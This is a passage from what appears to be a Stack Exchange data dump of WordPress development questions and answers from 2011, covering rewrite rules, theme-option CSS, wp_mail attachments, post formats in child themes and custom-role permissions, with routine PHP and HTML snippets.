&lt;code&gt;previous_post_link&lt;/code&gt; template tags are also filtered correctly on custom post types.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/***************************************************************&#xA;* Function qtranslate_single_next_previous_fix&#xA;* Ensure that the URL for next_post_link &amp;amp; previous_post_link work with qTranslate&#xA;***************************************************************/&#xA;&#xA;add_filter('next_post_link', 'qtranslate_single_next_previous_fix');&#xA;add_filter('previous_post_link', 'qtranslate_single_next_previous_fix');&#xA;&#xA;function qtranslate_single_next_previous_fix($url) {&#xA;    $just_url = preg_match(&quot;/href=\&quot;([^\&quot;]*)\&quot;/&quot;, $url, $matches);&#xA;    return str_replace($matches[1], qtrans_convertURL($matches[1]), $url);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3310" LastEditorUserId="3310" LastEditorDisplayName="" LastEditDate="2011-03-08T16:33:00.220" LastActivityDate="2011-03-08T16:33:00.220" CommentCount="2" />
  <row Id="11484" PostTypeId="2" ParentId="11401" CreationDate="2011-03-08T15:09:12.807" Score="0" ViewCount="" Body="&lt;p&gt;Looks like I needed &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;rule name=&quot;WordPress Rule 1&quot; stopProcessing=&quot;true&quot;&amp;gt;&#xA;            &amp;lt;match url=&quot;^index\.php$&quot; ignoreCase=&quot;false&quot; /&amp;gt;&#xA;            &amp;lt;action type=&quot;None&quot; /&amp;gt;&#xA;        &amp;lt;/rule&amp;gt;&#xA;        &amp;lt;rule name=&quot;WordPress Rule 2&quot; stopProcessing=&quot;true&quot;&amp;gt;&#xA;            &amp;lt;match url=&quot;^([_0-9a-zA-Z-]+/)?files/(.+)&quot; ignoreCase=&quot;false&quot; /&amp;gt;&#xA;            &amp;lt;action type=&quot;Rewrite&quot; url=&quot;wp-includes/ms-files.php?file={R:2}&quot; appendQueryString=&quot;false&quot; /&amp;gt;&#xA;        &amp;lt;/rule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also here's a bit more information I was able to find. &lt;a href=&quot;http://wordpress.org/support/topic/images-files-not-displaying&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/images-files-not-displaying&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-03-08T15:09:12.807" />
  <row Id="11485" PostTypeId="2" ParentId="11479" CreationDate="2011-03-08T15:30:18.257" Score="1" ViewCount="" Body="&lt;p&gt;to make theme options for css, you include the css in the header. on wp_head...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for instance I have set up various options in my admin menu in an array, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        'name' =&amp;gt; __( 'Custom CSS', 'voodoo_lion' ),   &#xA;    &quot;desc&quot; =&amp;gt; __( 'Want to add any custom CSS code? Put in here, and the rest is taken care of. This overrides any other stylesheets. eg: a.button{color:green}', 'voodoo_lion' ),   &#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_custom_css&quot;,   &#xA;    &quot;type&quot; =&amp;gt; &quot;textarea&quot;,   &#xA;    &quot;std&quot; =&amp;gt; &quot;&quot;&#xA;),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is the option for entering custom css.  Then I add that action to wp_head&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'wp_head', 'voodoo_inline_css', 100000 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and define voodoo_inline_css.  I have a variety of things in the voodoo_inline_css function, but one of them is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( get_theme_option( 'custom_css' ) ) &#xA;    theme_option( 'custom_css' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully that helped a little... you can also just call the option directly in header.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;style type=&quot;text/css&quot; media=&quot;screen&quot;&amp;gt;&#xA;   .content a:link {&#xA;        color: &amp;lt;?php echo get_theme_option(' link-color '); ?&amp;gt;;&#xA;    }&#xA;&amp;lt;/style&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Either way you do it, basically you need to output the css into the header, rather than trying to get it into a stylesheet.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just a note here, this theme options code is copy/pasted from my theme as an example.  Just so you can see bits of code and compare.  Since you followed your own tutorial, your options will be set up somewhat differently.  I just wanted to basically show that you would output your option to the header (using either wp_head or directly) to have the css take effect.  &lt;/p&gt;&#xA;" OwnerUserId="3429" LastEditorUserId="3429" LastEditorDisplayName="" LastEditDate="2011-03-08T16:49:04.740" LastActivityDate="2011-03-08T16:49:04.740" CommentCount="6" />
  <row Id="11487" PostTypeId="1" CreationDate="2011-03-08T16:05:22.630" Score="0" ViewCount="88" Body="&lt;p&gt;I know how to add a new thumbnail size to my custom plugin. But i want to know if is possible to restrict de new size only to a certain custom post type?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2011" LastActivityDate="2011-03-08T16:42:25.780" Title="How to add a new thumbnail size only to a certain custom post type?" Tags="&lt;post-thumbnails&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="11488" PostTypeId="1" CreationDate="2011-03-08T16:11:15.557" Score="1" ViewCount="111" Body="&lt;p&gt;How can I get Wordpress to ignore &quot;Blog pages show at most&quot; when a user clicks on a &quot;Catagory&quot; or &quot;Tag&quot; link ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THANKS&lt;/p&gt;&#xA;" OwnerUserId="3799" LastActivityDate="2011-03-08T16:47:44.117" Title="How do I Show ALL posts for Catagories and Tags?" Tags="&lt;posts&gt;" AnswerCount="2" />
  <row Id="11489" PostTypeId="1" AcceptedAnswerId="11509" CreationDate="2011-03-08T16:24:21.963" Score="1" ViewCount="251" Body="&lt;p&gt;I am implementing a custom Meta box that allows the user to add images via a simple file input field (based around code on this site: &lt;a href=&quot;http://www.deluxeblogtips.com/2011/03/meta-box-script-update-v30.html&quot; rel=&quot;nofollow&quot;&gt;Meta Box Script&lt;/a&gt;). This code allows multiple images to be added as attachments to the page and it does it without the full upload dialogue box, you just select the image file and publish the page and the image is uploaded. This works great, however, I would like to be able to add a link on each image so that you can set an image as a featured image. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an image showing what this looks like:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/7XqUV.png&quot; alt=&quot;Image thumbnails with links&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I snooped around the standard image uploader and can see that there is a JS file (/wp-admin/js/set-post-thumbnail.js) that is triggered as an AJAX call and this sets the image as a featured image. I'm using the following code (echo'd by PHP hence the escaping) to add the 'Use as featured image' link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=\&quot;text/javascript\&quot; src=\&quot;/wp-admin/js/set-post-thumbnail.js\&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;a class=\&quot;wp-post-thumbnail\&quot; id=\&quot;wp-post-thumbnail-1915\&quot; href=\&quot;javascript:void(0)\&quot; onclick=\&quot;WPSetAsThumbnail(&amp;amp;quot;{$att-&amp;gt;ID}&amp;amp;quot;, &amp;amp;quot;{$nonce}&amp;amp;quot;);return false;\&quot;&amp;gt;Use as featured image&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I figured this much out with a bit of trial and error but it doesn't work as I get an error &lt;code&gt;Uncaught ReferenceError: setPostThumbnailL10n is not defined&lt;/code&gt;, this is because I don't have JS loaded that provides the &lt;code&gt;setPostThumbnailL10n&lt;/code&gt; and probably other problems too!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I'm trying to figure out if it's feasible to tap into this inbuilt functionality easily. My other option is to roll my own JS which saves an image as featured instead. I will also require being able to unset an images as featured too. Any ideas greatly welcome as this seems kind of uncharted territory as Googling this hasn't come up with anything!&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2011-07-30T13:44:39.493" Title="How can I add the &quot;Use as featured image&quot; to a custom metabox?" Tags="&lt;images&gt;&lt;uploads&gt;&lt;post-thumbnails&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="11491" PostTypeId="2" ParentId="11480" CreationDate="2011-03-08T16:34:26.850" Score="1" ViewCount="" Body="&lt;p&gt;you can use &lt;code&gt;wp_mail( $to, $subject, $message, $headers, $attachments );&lt;/code&gt; to send emails with attachments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So all you need is a simple form &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form name=&quot;email-att&quot; id=&quot;email-att&quot; method=&quot;POST&quot; action=&quot;&quot;&amp;gt;&#xA;Enter your emial: &amp;lt;br /&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;email&quot; id=&quot;email&quot;/&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;email-att&quot;/&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;submit&quot; id=&quot;submit&quot;/&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and to process it&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if (isset($_POST['action']) &amp;amp;&amp;amp; $_POST['action'] == &quot;email-att&quot;){&#xA;   if (is_email($_POST['email'])){&#xA;        $to = $_POST['email'];&#xA;        $subject = &quot;email subject line&quot;;&#xA;        $message = &quot;email message body&quot;;&#xA;        $attachments = array('http://full_url_to_file.zip');&#xA;        wp_mail( $to, $subject, $message, '', $attachments );&#xA;        echo 'mail sent! check your email';&#xA;    }else{&#xA;        echo 'Please enter a valid email address ';&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-08T16:34:26.850" />
  <row Id="11492" PostTypeId="2" ParentId="11487" CreationDate="2011-03-08T16:42:25.780" Score="1" ViewCount="" Body="&lt;p&gt;You cant without editing core files but you can name it any way you want so you can call it &#xA;from you plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( function_exists( 'add_image_size' ) ) { &#xA;    add_image_size( 'my-plugin-thumb', 220, 180, true );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and call it&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( has_post_thumbnail() ) { &#xA;    the_post_thumbnail( 'my-plugin-thumb' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it's not perfect but its something.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-08T16:42:25.780" />
  <row Id="11493" PostTypeId="2" ParentId="11488" CreationDate="2011-03-08T16:46:19.363" Score="1" ViewCount="" Body="&lt;p&gt;Try this (add to your theme's functions.php):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_unlimited_posts_list( $vars ) {&#xA;  if ( isset($vars['category_name']) || isset($vars['tag']) )&#xA;    $vars['posts_per_page'] = -1;&#xA;&#xA;  return $vars;&#xA;}&#xA;add_filter( 'request', 'my_unlimited_posts_list' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3367" LastActivityDate="2011-03-08T16:46:19.363" CommentCount="1" />
  <row Id="11494" PostTypeId="2" ParentId="11488" CreationDate="2011-03-08T16:47:44.117" Score="1" ViewCount="" Body="&lt;p&gt;in your category.php or archive.php (depends on your theme)&#xA;add this before the loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_category() || is_tag()){&#xA;    global $query_string;&#xA;    query_posts( $query_string . &quot;&amp;amp;posts_per_page=-1&quot; );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-08T16:47:44.117" />
  <row Id="11495" PostTypeId="1" AcceptedAnswerId="11496" CreationDate="2011-03-08T16:51:52.493" Score="-1" ViewCount="60" Body="&lt;p&gt;when attaching eg. files to a post, how can i edit/delete them afterwards?&#xA;couldn't find anything in the post editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="3030" LastActivityDate="2011-03-08T16:58:53.317" Title="how to edit attachments?" Tags="&lt;posts&gt;&lt;attachments&gt;" AnswerCount="1" />
  <row Id="11496" PostTypeId="2" ParentId="11495" CreationDate="2011-03-08T16:58:53.317" Score="1" ViewCount="" Body="&lt;p&gt;Use the Media Uploader.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Press Upload Photo above the editor.&lt;/li&gt;&#xA;&lt;li&gt;See the tab &quot;Gallery( number-of-items-attacched )&quot;&lt;/li&gt;&#xA;&lt;li&gt;Manage / Rerrange order&lt;/li&gt;&#xA;&lt;li&gt;To delete: show an item and press Delete (it's at below of the window)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-03-08T16:58:53.317" />
  <row Id="11497" PostTypeId="1" CreationDate="2011-03-08T17:19:18.577" Score="0" ViewCount="256" Body="&lt;p&gt;in this &lt;a href=&quot;http://wordpress.stackexchange.com/questions/11357/custom-tabs-in-media-uploader&quot;&gt;question&lt;/a&gt; i've found how to create a custom tab at the image uploader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('media_upload_tabs', 'my_media_upload_tabs_filter');&#xA;&#xA;function my_media_upload_tabs_filter($tabs) {&#xA;        unset($tabs[&quot;type_url&quot;]);&#xA;        unset($tabs['library']);&#xA;        $newtab = array('ell_insert_gmap_tab' =&amp;gt; __('Google Map','insertgmap'));&#xA;&#xA;        return array_merge($tabs,$newtab);&#xA;}&#xA;&#xA;add_action('media_upload_ell_insert_gmap_tab', 'media_upload_ell_gmap_tab');&#xA;&#xA;function media_upload_ell_gmap_tab() {&#xA;    return wp_iframe('media_upload_ell_gmap_form', $errors );&#xA;}&#xA;&#xA;function media_upload_ell_gmap_form() {&#xA;    ?&amp;gt;&#xA;    echo media_upload_header();&#xA;    ?&amp;gt;&#xA;    &amp;lt;h2&amp;gt;HTML Form&amp;lt;/h2&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now i want to use that tab for image choosing function. so i modified the code inside the tab into this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;form enctype=&quot;multipart/form-data&quot; method=&quot;post&quot; action=&quot;&quot;&amp;gt;&#xA;            &amp;lt;h3 class=&quot;media-title&quot;&amp;gt;Choose Background:&amp;lt;/h3&amp;gt;&#xA;            Alternatively, you can choose one of these background images:&amp;lt;br/&amp;gt;&#xA;            &amp;lt;img style=&quot;float:left; margin:15px; cursor:pointer&quot; id=&quot;background-Green-stripes&quot; src=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;/wp-content/themes/mytheme/images/background-Green-stripes-thumb.jpg&quot;&amp;gt;&#xA;&amp;lt;a class=&quot;button choice_button&quot; style=&quot;float:left; display:block&quot; id=&quot;image 1&quot;&amp;gt;choose this&amp;lt;/a&amp;gt;&#xA;            &amp;lt;img style=&quot;float:left; margin:15px; cursor:pointer&quot; id=&quot;background-Pail-pink-squares.jpg&quot; src=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;/wp-content/themes/mytheme/images/background-Pail-pink-squares-thumb.jpg&quot;&amp;gt;&#xA;&amp;lt;a class=&quot;button choice_button&quot; style=&quot;float:left; display:block&quot; id=&quot;image 2&quot;&amp;gt;choose this&amp;lt;/a&amp;gt;&#xA;            &amp;lt;img style=&quot;float:left; margin:15px; cursor:pointer&quot; id=&quot;background-Purple-wall.jpg&quot; src=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;/wp-content/themes/mytheme/images/background-Purple-wall-thumb.jpg&quot;&amp;gt;&#xA;    &amp;lt;a class=&quot;button choice_button&quot; style=&quot;float:left; display:block&quot; id=&quot;image 3&quot;&amp;gt;choose this&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/form&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and tried to get the html from the &quot;window.send_to_editor&quot; but didn't knew how... &#xA;can any body help? i'm lost here...&lt;/p&gt;&#xA;" OwnerUserId="3603" LastActivityDate="2011-08-10T12:21:53.283" Title="send information from the thickbox image uploader second tab" Tags="&lt;admin&gt;&lt;uploads&gt;&lt;media&gt;&lt;theme-options&gt;&lt;thickbox&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="11498" PostTypeId="1" CreationDate="2011-03-08T17:33:54.530" Score="0" ViewCount="255" Body="&lt;p&gt;This is a more general question about WP website best practices. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An issue I encounter with many of my clients is maintaining two identical WP installs (staging and production). They insist on seeing changes before they go live. However, with WP's structure, that would involve constantly clearing and re-importing databases in addition to updating theme files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a simple answer out there that would allow me to maintain two identical WP websites with as few headaches as possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance for your help!&#xA;Jake&lt;/p&gt;&#xA;" OwnerUserId="2828" LastActivityDate="2011-03-08T19:19:40.763" Title="Maintaining synced staging/production WP sites" Tags="&lt;development&gt;&lt;staging&gt;&lt;production&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="3" />
  <row Id="11499" PostTypeId="2" ParentId="11476" CreationDate="2011-03-08T17:39:10.973" Score="0" ViewCount="" Body="&lt;p&gt;I ended up using this method...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.lotsofcode.com/php/php-array-pagination.htm&quot; rel=&quot;nofollow&quot;&gt;http://www.lotsofcode.com/php/php-array-pagination.htm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This script will allow you to take an array and paginate across multiple pages. Works good for what i need. Just working on how to number each item in the array across the pages in a descending order...&lt;/p&gt;&#xA;" OwnerUserId="3776" LastEditorUserId="3776" LastEditorDisplayName="" LastEditDate="2011-03-08T18:33:22.423" LastActivityDate="2011-03-08T18:33:22.423" CommentCount="2" />
  <row Id="11500" PostTypeId="1" AcceptedAnswerId="11519" CreationDate="2011-03-08T17:50:44.847" Score="1" ViewCount="236" Body="&lt;p&gt;Hey there, I have 5 different sites with 5 different IP's on cyberwurx shared account. How can I install wordpress multisite and use the domain mapping plugin and also keep my sites on different IP's?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideeas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ty!&lt;/p&gt;&#xA;" OwnerUserId="2979" LastEditorUserId="65" LastEditorDisplayName="" LastEditDate="2011-03-08T20:41:48.383" LastActivityDate="2011-03-08T20:41:48.383" Title="WordPress Multisite domain mapping with different IPs" Tags="&lt;multisite&gt;&lt;3.1&gt;&lt;domain-mapping&gt;&lt;ip&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="11501" PostTypeId="1" AcceptedAnswerId="11505" CreationDate="2011-03-08T17:55:06.467" Score="3" ViewCount="301" Body="&lt;p&gt;So I have been building a child theme for a site.  Wanted to add post formats to a twentyten child theme.  Now, the goal of my child theme is to copy over the absolute least amount of code/templates from the parent as possible.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I originally figured if I added additional post formats to a twentyten child theme, using a custom function which uses add_action after_setup_theme, it would work.  However, that does nothing.  Something like (either with or without the 2 existing formats, doesn't matter):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function voodoochild_setup(){&#xA;&#xA;add_theme_support( 'post-formats', array( 'aside', 'gallery', 'link' ) );&#xA;}&#xA;&#xA;add_action( 'after_setup_theme', 'voodoochild_setup' ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only way I've found to add post formats, is to copy the entire &#xA;twentyten_setup action to my child functions.php from twentyten, and edit that small portion from there, adding my formats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works fine, and I'm cool with it.  I just want to know if it's necessary.  Is there a better way to register new formats onto a child theme without hauling that big block of code over to the child?&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-03-08T18:21:42.263" Title="Adding post-formats to Twenty Ten child theme" Tags="&lt;3.1&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="11502" PostTypeId="1" CreationDate="2011-03-08T17:57:33.343" Score="0" ViewCount="100" Body="&lt;p&gt;I used Wordpress Audio Player (http://wpaudioplayer.com/) on my blog at djmosoul.com. It was working fine for several months until one day I changed the setting for Encoding on the plugin itself. Now my .mp3 files don't ever play and instead show an endless buffering tag. The files do play for me when I'm logged into Wordpress. But when I'm not logged in, it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I using some common sense turned off the Encoding apart of the plugin. But that hasn't actually reverted the setting. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to find a way for my .mp3 files to play using this very popular plugin. The plugin itself I know works fine. But something else is broken ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the path to a track on the server: &lt;a href=&quot;http://www.djmosoul.com/wp-content/music/hey-bhagwan.mp3&quot; rel=&quot;nofollow&quot;&gt;http://www.djmosoul.com/wp-content/music/hey-bhagwan.mp3&lt;/a&gt;. This track plays fine for me since I'm logged in. But if you go visit it, it returns an error page from something I don't know how to find. &lt;/p&gt;&#xA;" OwnerUserId="3800" LastActivityDate="2011-03-08T17:57:33.343" Title="WP Audio Player Not Finding Song" Tags="&lt;audio&gt;" CommentCount="1" />
  <row Id="11503" PostTypeId="1" AcceptedAnswerId="11639" CreationDate="2011-03-08T18:09:31.973" Score="0" ViewCount="170" Body="&lt;p&gt;I'm building a WP theme that requires a splash graphic &quot;slider&quot; widget (similar to what you see on cnet.com). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to build one myself, mainly so I can have full control over the bits, but if there are any available with licensing options for inclusion in commercial shipping software, I'd consider those as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an example they could share of creating a &quot;graphic slider&quot; widget (or plugin) using the built in WP jQuery script via enqueue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By &quot;graphic slider&quot; I just mean a script that displays a series of named images, along with an index at the bottom that shows the current slide and allows tracking back/forward and to specific slides in the rotation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be a bonus, if the widget had a control panel to allow the user to upload/delete each slider graphic as well as define the target URL for each image in a user friendly GUI with upload capability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for the help. Hope the question is not too conceptual.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-03-10T05:04:01.807" Title="jQuery slider widget similar to cnet.com" Tags="&lt;plugins&gt;&lt;widgets&gt;&lt;jquery&gt;" AnswerCount="1" />
  <row Id="11504" PostTypeId="1" CreationDate="2011-03-08T18:10:34.967" Score="0" ViewCount="270" Body="&lt;p&gt;After a long chat with @t31os at &lt;a href=&quot;http://wordpress.stackexchange.com/questions/11453/creating-custom-wp-dropdown-categories&quot;&gt;Creating Custom wp_dropdown_categories&lt;/a&gt;&#xA;I finally achieved it though not all and thanks to @t31os for his time&#xA;Here the code: This is a working code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $current_user;&#xA;get_currentuserinfo();&#xA;$authorcategory = get_user_meta( $current_user-&amp;gt;ID, 'authorcategory', true );&#xA;$user_term = get_term_by( 'slug', $authorcategory, 'blogs');&#xA;$mycat = $user_term-&amp;gt;slug;&#xA;$cats_array = get_categories(array('child_of=$mycat','taxonomy' =&amp;gt; 'blogs')); ?&amp;gt;&#xA;&#xA;&amp;lt;select style=&quot;display:none;&quot; id=&quot;cat&quot; name=&quot;cat&quot; class=&quot;input&quot;&amp;gt;&#xA;&amp;lt;?php foreach ( $cats_array as $category ) { ?&amp;gt;&#xA;&amp;lt;?php if ($category-&amp;gt;cat_name == $mycat ) { ?&amp;gt;&#xA;&amp;lt;option value=&quot;&amp;lt;?php echo $category-&amp;gt;cat_ID; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $category-&amp;gt;cat_name; ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt; &amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3615" LastEditorUserId="2962" LastEditorDisplayName="" LastEditDate="2011-03-08T20:41:40.240" LastActivityDate="2011-03-08T20:41:40.240" Title="Show specific category with child in wp_dropdown_categories (CPT)" Tags="&lt;custom-post-types&gt;" CommentCount="3" />
  <row Id="11505" PostTypeId="2" ParentId="11501" CreationDate="2011-03-08T18:16:44.193" Score="3" ViewCount="" Body="&lt;p&gt;Try bumping the priority of your hook, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'after_setup_theme', 'voodoochild_setup', 11 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will ensure that it &lt;em&gt;runs&lt;/em&gt; after the TwentyTen formats setup, so that it gets the last laugh. That's how I do it on WordPreh.com.&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-03-08T18:16:44.193" CommentCount="1" />
  <row Id="11506" PostTypeId="2" ParentId="11501" CreationDate="2011-03-08T18:21:42.263" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Dougal posted the same thing whilst i was writing my response, but i'm posting mine anyway, +1 Dougal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The parent theme formats will override the childs, and vice versa depending on which occurs first, what you can do though is hook onto &lt;code&gt;after_setup_theme&lt;/code&gt; after the parent theme has done so and redefine them, like so..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'after_setup_theme', 't31os_setup', 11 );&#xA;function t31os_setup(){&#xA;    add_theme_support( 'post-formats', array( 'aside', 'gallery', 'image', 'quote' ) );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;TwentyTens setup function runs at priority 10(default), so as long as we run the above filter after that we get control over the formats.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-08T18:21:42.263" CommentCount="3" />
  <row Id="11508" PostTypeId="1" CreationDate="2011-03-08T18:22:42.840" Score="0" ViewCount="241" Body="&lt;p&gt;My plugin right now has two custom post types in it: one handling visitors and one handling trouble tickets. Each has it's own custom permissions. I'm using a roles plugin to create custom roles for my users because the default WordPress one's I'd rather not touch and the client I'm doing this for wants to restrict access to WordPress itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I visit &lt;code&gt;post-new.php?post_type=&amp;lt;my-cpt&amp;gt;&lt;/code&gt;, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You do not have sufficient permissions&#xA;  to access this page.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't have a complex permission system, merely &lt;code&gt;pluginname_modulename&lt;/code&gt; for all actions related to a specific module of my plugin (ie: &lt;code&gt;argus_visitors&lt;/code&gt; for visitor management (add, edit, publish, etc)).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S.&lt;/strong&gt; I'm also using WordPress 3.1&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Posted a &lt;a href=&quot;http://core.trac.wordpress.org/ticket/16808&quot; rel=&quot;nofollow&quot;&gt;Trac Ticket&lt;/a&gt; about this issue after a conversation with @t31os in StopPress' chat room.&#xA;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, for @t31os' output request:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print '&amp;lt;pre&amp;gt;';&#xA;print_r( $wp_roles-&amp;gt;roles['aide']['capabilities'] );&#xA;print '&amp;lt;/pre&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;outputs the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [read] =&amp;gt; read&#xA;    [argus] =&amp;gt; 1&#xA;    [argus_visitors] =&amp;gt; 1&#xA;    [argus_tickets] =&amp;gt; 1&#xA;    [argus_offenders] =&amp;gt; 1&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the 